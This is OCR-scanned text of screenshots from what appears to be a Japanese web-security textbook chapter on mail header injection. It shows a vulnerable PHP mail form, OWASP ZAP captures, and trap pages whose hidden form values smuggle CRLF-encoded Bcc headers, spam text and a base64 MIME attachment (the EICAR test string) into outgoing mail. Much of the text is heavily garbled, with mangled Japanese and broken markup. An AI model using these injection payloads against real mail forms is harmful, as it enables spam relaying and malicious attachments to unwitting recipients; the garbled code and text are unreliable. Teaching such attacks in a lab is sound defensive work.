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D23 HBTEN I FAINEDFS)

<html>
<head><title>4.9 X —)LiEISOERE T it le></head>
<body>
4.5} A — LIRS0
<lixa href=w>49*ﬂﬂl FEL B 7 — LEER) /a1 i

<liz<a href="http://t rap.examp|e.con/49/49-900. htm| “>49-900: L vEdotd 7 — L (BEER I</ax</ 1 i>

<li><a href="

[4¥—/3: 49/49-001.html ]

[ varfwww/himl/49/49-001.html - wasbook @example.jp - T75 - Wint
2 @9 C & E xFf

kbody>

Huahit 7+ —L<br>

<form action="49-002.php" method="POST">

A —Jl:<input type="text” name="from”><br>

F ¥ :<textarea name="body" rows="4" cols="30">

</textarea><br>

<input type="submit" value="i
</form>
</body>

1. 49-001:Fu v T — A(EER)
2. 49-900:FLEHDE J 4 — A (BEER)
3. 49-900a: W& E T — A(IFEE1 : FEFEDIEN)
4. 49-900b: M et T o — A (INEBD - A DEEA)
5.49-901:BLEDE T — ANV -« A DT
phpinfo
h—AICES

<li><a href="
<li>*<a href="
<lol>

<a href
<a href
</body>
</htm >

[¥—/X: 49/49-002.html ]

[ Avarrwww/htm/as/as-002.php - wasbook@example.jp - T4 - WinSCP
= @9 | & e xFF-
k2php
$from = filter_input(INPUT_POST, “from');
$body = filter_input(INPUT_POST, ‘body');
mb_language(Japanese’);

=@ @

mb_send_mail( "wasbook@example.jp”, "HLEhtEA &) EL:",

"LToRvahtErel Lo THEGEELL T \n\n" . $body,

“"From: " . $from);
2>
<body>
BELELE
<?php //echo $from ?>
</body>

hitpy//example jp/49/ b+ = ]

) view-source:http://example,jp/49/ e o n @ =R

tte://trap. exame|e.com/49/49-000a. htm| ">49-900a: L vEFo1E 7 7 — L(INEE] : SAeanBiN</a> </ i>

tte: /'t rap. exane | e. com/49/49-000b. html ">49-900b: L vEFE 7 — L(TNEED : RO XA )<</ i>

tte: A/t rap. exanp|e. com/49/49-801 . him| ">49-901:fELvEhtE T3 —L(A =L e & - A PV 2 50 3 VRETEHEN 7 77 ILE DT/ 0>

“phpinfo.phe " >ehe inf ol as<br:
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W ETtyy3Y - 20181229-114638 - OWASP ZAP 2.7.0

7L BE BR MU~ Lai—b Y=l ASA> ~NLT

Er pPlocEEpd 2060 oo o daV 2« roXERE oG
@ UAb | 4 [yawczrs—h[ﬂua:::u« = LAMRZR
@ HLEE FIAAbEa— |+ H0): FIAANEa— |3 )

GET http://example.jp/49/49-001.html HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Enceding: gzip, deflate

Referer: http://example.jp/49/

DNT: 1

‘Connection: keep-alive

1| Cookie: PHPSESSID=peopbuurt6eh0dj28umtos9gfs
Upgrade-Insecure-Requests: 1

Host: example.jp

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Sat, 20 Dec 2018 12:51:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 245

‘Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "f3-56c2a2debl979-gzip"

1| Accept-Ranges: bytes

Vary: Accept-Encoding
X-UA-Compatible: IE=edge

<body>
FWEHDE T4 —Lasbr=
<form action="49-002.php" method="POST">
A—Jli<input type="text" name="from"><br>
#F32:<textarea name=" cols="30">
< /textarea> <br=

<input type="submit" value=

</body>
v
jaﬁg]@g&iwlws—ﬂL;Pﬁ#jw[-ﬂ
@ @ V oqaA @ TOAR-b
1d | uoT= hER | Avo | URL AT—9AI—F |AT—HRI-FEM | SO¥RRUYTEA(L | LARYARTABAZX | BEPS—N | s—b |57 &
25 /12 21:51:31 GET http:/fexampl /49-001.html 200 | OK sms ytes m Medium Form .
28 18/12/29 22:08:19  POST http:/fexample.jp/49/49-002.php 200 OK 68 ms 34 bytes P Medium
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[TS59¥—>H%—/%: YT RF 49/49-002php — LAKRUR ]

W EStuiay - 20181229-114638 - OWASP ZAP 2.7.0 _ o ®
Iyl &E TR RUs— Li—b w—L AXS1> AT
Eger PplooEEE® 2D 0@ 008 48V =« 0% ERE o6
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F2tEa— v L0 FoALrEa— o] @O

POST http://example.jp/49/49-002.php HTTP/1.1 HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3

Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Date: Sat, 29 Dec 2018 13:08:20 GMT
Accept-Language: ja,en-Us;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Connection: keep-alive

Referer: http://fexample.jp/49/49-001.html X-Powered-By: PHP/5.3.3
Content-Type: application/x-www-form-urlencoded X-UA-Compatible: [E=edge
Content-Length: 417

DNT: 1 <body=>

Connection: keep-alive HEELELRE

Cookie: PHPSESSID=peopbuur66eh0di28umtosaqfs = /body=

Upgrade-Insecure-Requests: 1
Host: example.jp

from=alice%40example.jp&body =%E3%83%88%E3%83%A0%E3%83%96%E3%83%AB%ET %95
YeAATES%BFY%B7 %EF%BC%91%EF%BC%92%EF%BC%I3%E3%80%81%E3%83%87%E3%83%
BCY%E3%82%BF%E3%83%90%E3%83%BC%E3%82%BI%E3%81%ABY%E%82%A2%E3%82%AF
2% E3%82%BB%E3%82%B0%E3%81%A7%E3%81%8D%E3%81%AA%E3%81%8F%HE3%81%AA%
E3%682%8A%E3%81%BE%E3%81%97%E3 %81 %0F%E3%80%82%EF%BCY%88c0de%3D123%EF
%BC%B89%ES5%AFY%BEY%ES%BF49C%E3%81%8A0EI%A1%08%E3%81 %84%E3%81%97%E3%
81%6BE%E3%81%99%E3%80%82

JEMT%&%IFP?—FIJPT%:@% +
@ @ | 240aA7 @ TEAN-K
W [uozRrEE | *YwE | URL |AF—$23—F |AF—5AI-F## |SOYERUIsTIML | LARSART 90X [ REFS—t |-k |55 [

25 18/12/29 21:51:31 GET http://example.jp/49/49-001.html 200 OK 5ms 245 bytes Fu Medium Form |
2922:08:19  POST http://example.j 19-002.php 200 OK 68 ms e Medium
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[F59+]

http://example,jp/49/49-001html X

<« G o ® example.jp/49/49-001.html [CEA (© view-source:http://example,jp/49/49-001.html
BOESHEIA—A Ig"TOdy)h‘d b
.| [y a4 —L<br>
—JL:al le. = - " e
* “1 chi’gﬂ?z N <Form action="49-002,php” method="PUST">
2 Zlew T - A—=JL:<input type="text” name="from"><br>
EFOEATESAYELL, FH:<textarea name="body” rows="4" cols="30">
(code=123) sdEHREOLET, | Ctextarearbry
<input type="submit” value="
A3 <form>
=S </body>

- example,p/49/45-002.php

< ¢ o
EELELE

http://example,p/49/49-002php X

(® view-source:http://example,jp/49/43-002.php

</body>
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1. 49-001:BVEHE T4 — AIEER)
2. 497900:%%\@19@7271:;(151%_
3. 49-900a:BVVEDE T4 — AFZR1 - FEFEOIENT)
4. 49-900b:BiLVEE T ot — A (IHEB2 - KX DRISEA)
5.49-001:BWVEDE T — WA YT « A 2T
phpinfo
h—hICES

[4—/3: 49/49-900.html ]

[ varswww/html/49/48-800.html - wasbook@example.jp - TF 4% - WinSCP
= @ |9 ¢ |# &S| xFF-

kbody>
Boaht 74 —L<br>

A —Jl:<textarea name="from” rows="4" cols="3@">
</textarea><br>

FI:<textarea name="body" rows="4" cols="3@">

1< /textarea»<br>

|<input type="submit” value="i%{S">

</form>

</body>

<form action="http://example.jp/49/49-802.php" method="POST">

FHFRAPRYIR (inputBRDS5H
text OR password DEM) (&
HHISXFEANTEGLH,
textarea® k[, MITEETDAA
MNAETY

Chitte R I—mRLES

http://example.jp/49/

) view-source:http:/fexample jo/49/

<html>

<head><title>4.9 X —)LiEISOERE T it le></head>
<body>

4.9 A —)LR{EORRE

<ol>

<li><a href="43:001 htnl 248001 :F. ) Bt 7 2 — 4 (ERTIa></ 1 1>

e

<lid<a href=ghtip: /Mt rap. exanp| e, con/49,/49-900, htm]

<li><a href="http://t rap. examp|e. com/49/49-000a. htm| ">49-900a: L vEFo1E 7 7 — L(INEE] : BB/ </ i>

$49-900: FL &Pl 7 7 — 4 (BREER)</a></ 1 i

@0

<li><a href="http://trap. exame|e. com/49/49-000b. htm| ">49-900b: L vEFHE 7 — L(TNEED : DX A )</ i>

- ()

n e A

<li><a href="http://trap.exanp|e.com/49/49-001. him| "»49-901:fEL Gt Ta —L(A =L e S - A P 2 59 3 VRETEHEN T 7 ILE DT/ 0>

<lol>

<a href="phpinfo.phe " pheinfod/as<br>
<a href > LICBES A

</body>

</html>

[H—/3: 49/49-002.html ]

[ Avarrwww/htm/as/4s-002.php - wasbook@example.jp - TF47 - WinsCP
= @9 | & e xFF-
k2php
$from = filter_input(INPUT_POST, ‘from');
$body = filter_input(INPUT_POST, ‘body');
mb_language( ' Japanese’);
4

e-8 @

mb_send_mail( wasbook@example.jp”, "HLEhtEA &) EL:",

"LToRvahtEral Lo THEGEELL T \n\n" . $body,

“"From: " . $from);
2>
<body>
BELELE
<?php //echo $from ?>
</body>



[TSHH—EH—/3: YHIT AP trap.example.com/49/49-900.html — LARIR ]

QO EEtyy3Y - 20181229-114638 - OWASP ZAP 2.7.0 - o e
7L BE BF Rus— -k Yol AXS1> LT

|EEE—r FleEeEEg B 08 O0E 4@V 2« roXERE o6
@H1h] 4 [# o195 25—t [suozzn ] + = LARZA
@ LEIE FIALrEa— |+ ) FaArEa— x| 0

GET http://trap.example.com/49/48-900.htm| HTTP/1.1 HTTP/1.1 200 OK L‘\
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3
Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Date: Sat, 29 Dec 2018 13:45:27 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Content-Length: 288
Referer: http://example.jp/49/ Connection: keep-alive
DNT: 1 Last-Modified: Mon, 14 May 2018 13:08:18 GMT
‘Connection: keep-alive ETag: "120-56c2a2deb2919-gzip”
Upgrade-Insecure-Requests: 1 Accept-Ranges: bytes
|| Host: trap.example.com || vary: Accept-Encoding

X-UA-Compatible: IE=edge

<body>

BLEHET A —Lacbr=

<form action="http://example.jp/45/48-002.php" method="POST">
A=)l <textarea name="from" rows="4" cols="30">

< /textarea> <br>

37 <textarea name="body" rows="4" cols="30">

< /textarea= <br=

<input type="submit" value="%g">

< /form=
</body>
v
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ﬂ EFt 3y - 20181229-114638 - OWASP ZAP 2.7.0

J7 AL RE BE AUS— Lai—b Yol AZFA2 ALT

EEE—F plEEEESG 208 o0 0080 ey <P leEBRE: oG
@ U1k 4 [y D’I’W{?X'S*%Iﬂuﬁﬂb 4 P

FZALREa- g EO: FZALRea- p| EHO:

POST http://example.jp/49/49-002.php HTTP/1.1 HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3

Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Date: Sat, 29 Dec 2018 13:46:52 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Connection: keep-alive

Referer: http://trap.example.com,49/49-900.html ¥-Powered-By: PHP/5.3.3
‘Content-Type: application/x-www-form-urlencoded ¥-UA-Compatible: IE=edge
Content-Length: 417

DNT: 1 <body=>

Connection: keep-alive EELELRE
Upgrade-Insecure-Requests: 1 </body=>

Hest: example.jp

from=alice%40example.jp&body="%E3%83%88%E3%83%A0%E3%83%96%E3%83%AB%E7 %95
%AASED%EF%B 7 %EF%BC%O4%EF%BC%95%EFYBC%O6%E3%80%8 1 %EF%BC%B7%EF%BD%
85%EF%BD%82%E3%82%B5%E3%83%BC%E3%83%90%E3%81%AB%E3%82%A2%E3%82%AF
%E3%82%BB%E3%82%B0%E3%81%A 7%E3%81%8D%E3%81%AA%E3%81%8F%HE3%81%AA%
E3%82%8A%E3%81%BE%E3%81%97%E3%81%0F%E3%80%82%EF%BCY%88code%3D456%EF
%BC%B9%ES%AF%BEY%ES%BF%49C%E3%81%8AEI%A1%08%E3%81%84%E3%81%097%E3%
81%BE%E3%81%99%E3%80%82

JEEET&"g&?IHT’EfFI\j?ijw* s
@ @ ¥ oopAs @ TR
4 |USTANES | 2wy E [uRL |AF7—#Z0—-F |27—%20—F#8A |[S9XRUvISAL | LARCARTH9(Z [BEFS—~ |-t |55

—F RO R1 2 RO REDR*Er W0 o Mo W0 0 380
[F59+]

<« c o @ trap.example.com/49/49-900.htm| ¢ o (@® view-source:http://trap.example.com/49/49-900.html

HLEDE I —A <{body>
BLEhtd 71 —Ldbr
<form act ion:”ht‘tp://eﬁampla?’.jp/49/

alicelexamele. jp

02. phg’” nethod= "POST™>

#—)l:<textarea name="from” rows="4" cols="30">
</textarea><br>
A—JL: F M :{textarea name="body” rows= cols="30">
FZALEE4 55, Web—si (tetareabr
= L We — Cinput types"subnit” value="1E{E">
LT OEATEGLIYE LR, {ineut type=Taubnit” value="i% (5
(code=456) FHIEaRELLET, </body>
AL
=354
< ¢ o (® examplejp/49/49-002.php ¢ @ (@ view-sourcethttp://example jp/49/49-002.php
FEELVELE <body>

#ELEL

</body>
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n o e =

0%2C

(& Q examplejp/ma task=mail&_caps=pdf%3D1 0%2Ctif%3D08& _uid=88

e = = =
« = M w, B i e
B3 FRER EE  SALEE e R E=0) EIRY <% #<
Q =em @ | moebensbELE sasEEex v < b
i BEEH BEEZ  alice@example.jp
: oHE FESE wasbook@example.jp
Bff SH 22:46 -
LATFmfE e Y E Lo TNERELLET
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49-900a:F LV EhE 7+ —L(KE : Tk DEM)

hitpy//example jp/49/ b+ = ]

<« c @ @ example,jp/49/ ) view-source:http://example,jp/49/ e o n @ =R
4.9 »%—JLEEDRSE <html> _
<head><title>4.9 X —)LiEISOERE T it le></head>
1. 49-001:BVEDHE T o — A(ERH) P y—
2. 49-900:BLVSE T ot — A(SEEE) AR
3. 49-900a: W& E T — A(IFEE1 : FEFEDIEN) <li><a href="49-001. htn| ">49-001:fEL &t 724 — L(EER)</ax</1 i>
4. 49-900b: BV vE&E T4 — ANZE? - A DOEEA) <li><a href="ht //t rap. exangl e, con/48/49-900, html “>49-900: L vEiot 7 — L (BEER <A</ >
5.49-901:BVEDE T —A(ANAYE « A>T 053 VHBETTMIIZAINEDHS) <li><a href= Wi&wmmb‘lg 900a:EL B T 2 — L(HEE] : SR a1
<li><a href="http: //t rap.exame | e. com/49/49-300b. him| ">49-900k: fElL vEtot 7 7 — L (THEE:  ANOWI A)ax</ i
shpinfo <li><a href="http://trap.exanp|e.com/49/49-001. him| "»49-901:fEL Gt Ta —L(A =L e S - A P 2 59 3 VRETEHEN T 7 ILE DT/ 0>
- <lol>
e N <a href="phpinfo.php " >pheinfol/a><br>
<a href > LICBES A
</body>
</html>
[5—/3: 49/49-900a.html ] [H—/X: 49/49-002.php ]
[ Fvarfwww/html/43/43-200a.him - wasbook@example.jp - I74% - WinsCP [ var/wew/html/49/43-002.php - wasbook @example,p - TF% - WinSCP
2 E|D ¢ @esaE xsf-Ue-8 @ E EDc @esdE|xsr-le-8 0
kbody> k2php

$from = filter_input(INPUT_POST, “from');
$body = filter_input(INPUT_POST, ‘body');
mb_language( ' Japanese');

ALY 7+ —L<brs
<form action="http://example.jp/49/49-802.php" method="POST">

A —JL:i<textarea name="from” rows="4" cols="38"> BeoT. SaseABMLTLVEST AL, absand. mail(“wasbookGenample ip". LA HERE I ECE",
trap@trap.example.com A— )R {BE([IBecEDT .

Bcc: bob@example. jp aIEEEA "UTOBWEHhE IS Y E L0 THEEENLET\n\n" . $body,
</textarea><br> 5 “From: " . $from);

F I :<textarea name="body" rows="4" cols="30"> B~°°'DJ 1=, CG‘“TO‘\“’RENY‘TD 2>

</textarea><br> BEQAVSERMTESEY g:?’;r N

<input type"submit" value="iZfE"> Subjectd BN TEET AL <>5hL //L r: $From 2>

</form> 2D SubjectAyH DELSH <}Eu§y> echo $from ?

EXEAALT [BEFLV] 25Uy I LTREED, RRENDINMIA—F—ITLYET

</body>



[TS9P—EH—/3: YHIT AP trap.example.com/49/49-900ahtml — L AR R ]

] t793/32 - 20181229-114638 - OWASP ZAP 2.7.0 - e
IrAil E|E ®R RUS— LA~ WL AVSA2 AT

|lEﬁ{—F FleEEERS J*EB o0 00E 487 =«P PoXERm oG
@ H1h] 4 [# otv0 25—t [ s uszan] + ] [« L]

ecos e =0 Fomrea-j 00

GET http://trap.example.com/49/49-800a.html| HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8

Accept-Language: ja,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/fexample.jp/49/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: trap.example.com

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Sat, 29 Dec 2018 13:58:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 409

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "199-56c2a2deb38b2-gzip"
Accept-Ranges: bytes

Vary: Accept-Enceding

|| X-UA-Compatible: IE=edge

<body>

BWEDETA—La<br>
<form action="http://example.jp/49/43-002.php" method="POST">
A=)l <textarea name="from" rows=

trap@trap.example.com
Boc: bob@example jp

< ftextarea= <br>

#32: <textarea name="body" rows="4" cols="30">
< /textarea=<br>

<input type="submit” value="
< fform=

FREAALT MBERS ] ZoUw LTI ESEL.
</body>

==

[BEE] S px P75

DEEEEED

@ @ V¥V oqhAT @ TR~

1d | VoTR A

b R0 1 2 o

| xvwE | URL

|RF=%$23—F |ZF—9RA3-F#A |SOXFhUsTI L |LARARTHAX | #wEF5—b |s-b |57

REDAF+

20 ©0 #o 0 #o




[TS59¥—>H%—/%: YT RF 49/49-002php — LAKRUR ]

W EEtyay - 20181229-114638 - OWASP ZAP 2.7.0 _ o %
Iril &E TR RUS— Lf—b Y=l AYS1> ~LT
(EEe—r plioEEis 2B 008 O 48V 2P PoXERE o6
@ (k] 4 [ oo 26—t [suszan] + [& Latza]
FIALbEI— | =25 FIALbEa— | =20

POST http://example.jp/48/49-002.php HTTR/1.1 HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Date: Sat, 29 Dec 2018 14:04:20 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Connection: keep-alive

Referer: http://trap.example.com/49/43-900a.html X-Powered-By: PHP/5.3.3
Content-Type: application/x-www-form-urlencoded X-UA-Compatible: IE=edge
Centent-Length: 312

DNT: 1 <body=

Connection: keep-alive EfELELE

Cookie: roundcube_sessid=jrumgsvqbmoo8n2fcts86iuq47; roundcube_sessauth= </body>

40sMnQHA2602N0bREO0L 5ehKVR-1546091400
Upgrade-Insecure-Requests: 1
Host: example.jp

from=trap%40trap.example.com%0D%0ABCc% 3A+bob%40example.jp%0D%0A&body = %ES%
BF%B7%E6%83%81%E3%83%A1%E3%83%BC%E3%E83%AB%E3%81%8C%ES%80%81%E4%BF
%A1%E3%81%95%E3%82%8C%E3%81%BEY%ES %81 %97 %E3%81%9F %E3%80%82%EF%BC%
A2%EF%BC%A3%EF%BC%A3%E3%81%8B%E3%82%89%E3%82%82%E9%80%81%E3%82%89
%E3%82%8C%E3%81%BE%E3%81%97%E3%81%9F%E3%80%82

| [BEe] S e=]prs—r ] 7orIvr ] 4
@ & ¥ oauaAs @ TORR—I
id | YHTR MERE | *¥wE | URL

| /=t |42 |E

SUYRRUYTEAL | LRRSRTT A UAZ | b7

b RO 1 2 mo |IERLF o 0 g0 20 @0 #o g0

(T3]

< ¢ @ trap.example.com/49/49-900a.htm| ¢ o () view-source:http://trap.example.com/49/49-900a.html
BLWEDEIA—A <body>
t raplt rap. exame | e. com Rl a7~ Lbrs
PRLIAR. SxaTe = <form action="http://example. jp/49/49-002.pho” method="PIST">

Bec: bob@example. jp A—)L:textarea name="from” rows="1" cols="30">
1 raplt rap. exane|e. con
VETy Bee: boblexamp . jp
</textarear<br>
A _JPt‘\}ﬁEéhiL’tv 3 :<textarea name="hock” rows="4" cols="30">
BCCIEEREENE LI, | </textarea><br>
<input type="submit” value="1%{2">
</form;
A7 FREIALT LEE

-~ </body>

R ESU e 2 LTI,

AEANILT DEERY ] w7 Uy ILTLREW,

< c @ @ examplejp/49/49-002.php ¢ o @ view-source:http://example.jp/49/49-002.php

EELELE

</body>
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BLADERBDELE
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49-900b:FiL\EHE IA—LHE2: AXDHEA)

<« c @ @ example,jp/49/

4.9 X—)LIEEDRE

. 49-001:uVEDE T — A(EER)

. 49-900: BV VEDE T o — HA(HEER)

. 49-900a:RVvEDE Tt — NZE1 : FEFEDIENN)

- 49°000bBNEDE T A Aoz, 4E

. 49-901:RILEDE Tt —A(A N YE AT I3 VB THRE I 7 AINEDHS)

[%, I NIV R N

hitpy//example jp/49/ b+ = ]

view-source:http://example jo/49/ e o n @ =R

<html>

<head><title>4.9 X —)LiEISOERE T it le></head>
<body>

4.9 A —)LR{EORRE

<ol>

<li><a href="

9-001 . html ">48-001: L vEFtd 72 — LIEFEFRI</ax</1i>

<liz<a href="http://t rap.examp|e.con/49/49-900. htm| “>49-900: L vEdotd 7 — L (BEER I</ax</ 1 i>
)

<li><a href="htipi//trap. exanpl
<li><a href=

e.con/d9/

19000z bl 7>49-900a: B, VBt 7 4 — L (IEET : Soseadigil) </ar</1i>

~900b Lt [ F>49-9000: FL VB0t 7 2 — L (RS « MM A</ i

: [s]
<li><a href="http://trap.exams

e.com/49/

9-901.htm| “>49-001: 8L vEht T — LA =L w8 - A WV 2 70 3 VBT 7 7L EDATE I i

phpinfo

P —= <lol>

h=ACRS <a href="phpinfo.phe " pheinfod/as<br>
<a href="/">H— LIRSS
</body>
</html>

[5—/3: 49/49-900b.html ] [H—/3: 49/49-002.php ]

[ rvarfwww/html/49/49-900b.html - wasbook@examplejp - T744 - WinSCP [ /variwww/html/49/49-002.php - wasbook@example.jp - TF1% - WinSCP

El E9cC @esdE =03 El @9c@eseE x=r-Ue-80
kbody> k2php
BSvE At 7 — Lcbry $from = filter_input(INPUT_POST, ‘from');

$body = filter_input(INPUT_POST,

<form action="http://example.jp/49/49-8082.php" method="POST"> mb_language(’ Japanese®);

A —Jl:<textarea name="from" rows="4" cols="38">

trap@trap.example.com
Bcc: bob@example.jp

Super discount PCs 8@% OFF! http://trap.example.com/ "From: " . $from);

</textarea><br> 2>

FIL:<textarea name="body" rows="4" cols="30"> <body>

</textareas<br> BEELELE

<input type="submit" value="iZfE"> <?php //echo $from 2>
</body>

</form>
EDEE [BERE Y] 2o Uv s LT{EEN,
</body>

‘body");

mb_send_mail( "wasbook@example.jp”, "HLEhtEA &) EL:",

"UToRvahtErel Lo THEGEELL T \n\n" . $body,



[TS9H—EH—/3: YHT AP trap.example.com/49/49-900b.html — L AR R ]

IrIL EE ®R AUz~

W EStuiay - 20181229-114638 - OWASP ZAP 2.7.0

L= Y=l AZTA> ALT

|[BEE—F FlEEEFE S 0B 008 487V =+« roXERE o6
@b 4 [# o195 25—t [suozzn] + = LARZA
@ LEIE FIAurEa— |+ ) FIArEa— = 0

GET http://trap.example.com/49/489-900b.html HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,%/*;9=0.8

Accept-Language: ja.en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/49/

DNT: 1

‘Connection: keep-alive

Upgrade-Insecure-Requests: 1

Haost: trap.example.com

HTTR/1.1 200 OK

Server: nginx/1.10.3

Date: Sat, 29 Dec 2018 14:15:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 453

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "1c5-56c2a2deb38be-gzip”
Accept-Ranges: bytes

Vary: Accept-Encoding

| X-UA-Compatible: IE=edge

<body>

BLESHET A —Lacbr=

<form action="http://example.jp/45/48-002.php" method="POST">
A—)l:<textarea name="from" rows="4" cols="30">
trap@trap.example.com

Bee: bob@example.jp

Super discount PCs 80% OFF! http://trap.example.com/

< [textarea> <br=

A7 <textarea name="
< /textarea> <br=
<input type="submit" value=
< /form=

ZOFF BERF] ZOUwOLTIESL.
«/body>

4" cols="30">

jam]qaﬂﬁya—ﬂgyawwﬁ-}
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| AV E | URL
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[TS59¥—>H%—/%: YT RF 49/49-002php — LAKRUR ]

W ETtyy3Y - 20181229-114638 - OWASP ZAP 2.7.0 — [m] x
I7A(L RE EFR MUS— Lfi—b Yl AZSA2 ALT
(EEE-F W EEEEHEG 580 00 900 &8V <P Po%ERE: oG

@U1h] 4 [# 1o 25— [Suszzn] + [« Lata]
FrALrEa— ¢ B0 FALrEa— g (ED

POST http://example.jp/49/49-002.php HTTP/1.1 HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3

Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Date: Sat, 29 Dec 2018 14:17:13 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Connection: keep-alive

Referer: http://trap.example.com,/49/49-900b.html X-Powered-By: PHP/5.3.3
Content-Type: application/x-www-form-urlencoded X-UA-Compatible: IE=edge
Content-Length: 238

DNT: 1 <body=>

Connection: keep-alive HEELELRE

‘Cookie: roundcube_ d Q28] 05dmprasl5; roundcube_sessauth= </body>

njBHec7xLgd7Gx8yyC4DUDZCk2-1546092600
Upgrade-Insecure-Requests: 1
Host: example.jp

from=trap%40trap.example.com%0D%0ABcc%3A+ bob%40example.jp%0D%0ASuper +discount
+PCs+80%25+0FF%21+http%3A%2F%2Ftrap.example.com%2F%0D%0A&body =%E6%9C%AC
9%6E6%06%87%E3%81%8C%E6%94%BI%ET % AB%84%E3%81%95%E3%82%8C%E3%81%BEY%

E39%81%97%E3%81%9F%E3%80%82

Jam]%&%[ﬂﬁs—ﬂ\;ﬁjwwm

@ & ¥ o2pAn ¢ TR
UHTR EEE Ay R Y TEAL

7 R0 1 R2 mo RIEDAF + 0 Go 0 @0 #o 40

(T3]

http://trap.example.com/49/49-00. X

< ¢ o @ trap.example.com/49/49-900b.htm ¢ o @ view-source:http://trap.example.com/49/49-900b.html
BLNEDEIA—A <body>
s —
traplt rap. exame le. com ~ FL gttt 7o —Lbry

<form action="http:/Mexample. i5/49/49-002. php" method="POST™>
Super discount Pls 90% OFF! A—Jl:<textarea name="from” rows="{4" cols="30">
http://trap. exane e, com’ v t rai?@t ran. exalee.‘ o

Al oo dhsomuns PO OFFY hitos //t le.con/

= per 1 SCoun ) s P Fap . examns [ &. com,
FEHAEINTLE, | </textarea><br>

A3:<textarea name="body” rows="4" cols="30">
</textarea><br>

<input type="submit” wvalue="1%{™>

HT </form>

Boc: boblexanple. ip

e TOFEFE BRERE ) E7Uw Z LTS,
</body>

EDFE DEERY] BOUYOILTIREL,

httpi//example.jp/43/49-002.php X

< ¢ @ example.jp/49/49-002.php ¢ o (@) view-source:http://examplep/49/49-002.php
FELELE <body>
EELTLS

</body>
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HuEbtEnshELEz

REE  trap@trap.example.com
E wasbook@example.jp
B  $H23a7
Super discount PGs 803 OFF! http://trap.exanple.con/
Mine-Version: 1.
Cortent-Type: text/plain: charset=[S0-2022-JP
Cont ent-Transfer-Encoding: 7hit
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49-901:FVVE DL ETH—LA—IAYT A2V HL AV B TCHEMNITFPIIVEDI(TD)

<« c @ @ example,jp/49/

4.9 X—)LIEEDRE

[4¥—/3: 49/49-901.html ]

[ fvar/www/html/49/49-901.html - wasbook@examplejp - T7445 - WinSCP

] B 9C e E xFf-Ue-8 @
kbody>
FugEht 7+ — L<bry
<form action="http://example.jp/49/49-0@2.php" method="POST">
A —Jl:<textarea name="from" rows="4" cols="30">
trap@trap.example.com

Content-Type: multipart/mixed; boundary="------ _4D@B657E00000000F1D5_MULTIPART_MIXED_ "

Content-Transfer-Encoding: 7bit

———————— _4D00657E00080000F1D5 MULTIPART MIXED
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit

ESvgEEZR 2o RThl

———————— _4De0657E00000000F 1D5_MULTIPART_MIXED_
Content-Type: application/octet-stream;
name="eicar.com"

Content-Disposition: attachment;
filename="eicar.com”
Content-Transfer-Encoding: basebd

WDVPIVAIQEFQWzRcUFpYNTQoUF4pNONDKTAS] EVIQBFSLVNUQUSEQVIELUFOVE1WSVIVUy 1URVNU

LUZITEUhJEgrSCo=

-------- - 4D00657E60000008F1D5_MULTIPART MIXED --
<ftextarear<br>

Z:<textarea name="body" rowus="4" cols="38">
</textarea><br>

<input type="submit" value="i%{E
</form>
FoEx [#Ef
</body>

FaEy] 27Dy T LTSN,

1. 49-001:Fu v T — A(EER)
2. 49-900:FLEHDE J 4 — A (BEER)
3. 49-900a: W& E T — A(IFEE1 : FEFEDIEN)
